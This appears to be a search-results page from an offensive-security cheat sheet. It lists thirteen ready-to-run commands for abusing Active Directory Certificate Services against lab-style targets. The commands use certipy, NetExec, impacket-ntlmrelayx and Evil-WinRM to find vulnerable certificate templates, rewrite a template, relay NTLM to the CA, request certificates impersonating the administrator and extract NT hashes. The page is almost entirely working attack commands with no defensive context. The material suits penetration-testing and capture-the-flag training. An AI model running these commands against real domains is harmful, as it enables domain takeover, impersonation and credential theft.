Search everything

Commands 13

• Vulnerable certificate templates (ADCS) Windows and Active Directory privilege escalation › Active Directory › With credentials certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
• With a certificate (from ADCS, for instance) Evil-WinRM › Ways to authenticate evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key
• Certipy scan (names the ESC) Active Directory in depth › ADCS (ESC1–16) › Find vulnerable templates certipy find -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
• Enumerate the CA with NetExec Active Directory in depth › ADCS (ESC1–16) › Find vulnerable templates nxc ldap 10.10.11.20 -u usuario -p 'Password123!' -M adcs
• Make it vulnerable and restore it Active Directory in depth › ADCS (ESC1–16) › ESC4 — control over the template certipy template -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -template VulnTemplate -write-default-configuration
• Relay to the CA and get a machine cert Active Directory in depth › ADCS (ESC1–16) › ESC8 — HTTP relay to the CA web endpoint certipy relay -target 'http://ca.box.htb/certsrv/certfnsh.asp' -template DomainController
• Request the certificate with another SAN Active Directory in depth › ADCS (ESC1–16) › ESC1 — arbitrary SAN (impersonate anyone) certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template VulnTemplate -upn [email protected]
• Relay to the CA (ESC8) for a machine cert Active Directory in depth › NTLM relay › Set up the relay impacket-ntlmrelayx -t http://ca.box.htb/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
• Authenticate with the cert and get the NT hash Active Directory in depth › ADCS (ESC1–16) › ESC1 — arbitrary SAN (impersonate anyone) certipy auth -pfx administrator.pfx -dc-ip 10.10.11.20
• ESC15: application policy with client-auth EKU Active Directory in depth › ADCS (ESC1–16) › ESC13/ESC14/ESC15/ESC16 certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template WebServer -application-policies 'Client Authentication'
• Change the UPN of a user you control and request the cert as them Active Directory in depth › ADCS (ESC1–16) › ESC9/ESC10 — no strong certificate mapping certipy account update -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -user victima -upn [email protected]
• ESC3: request an agent cert and, with it, one on behalf of another Active Directory in depth › ADCS (ESC1–16) › ESC2/ESC3 — Any Purpose and Enrollment Agent certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template EnrollmentAgent certipy req -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -template User -on-behalf-of 'box.htb\administrator' -pfx agent.pfx
• ESC7: grant yourself Manage Certificates and approve your own request Active Directory in depth › ADCS (ESC1–16) › ESC6/ESC7 — CA flag and control over the CA certipy ca -u [email protected] -p 'Password123!' -dc-ip 10.10.11.20 -ca CA-NAME -add-officer usuario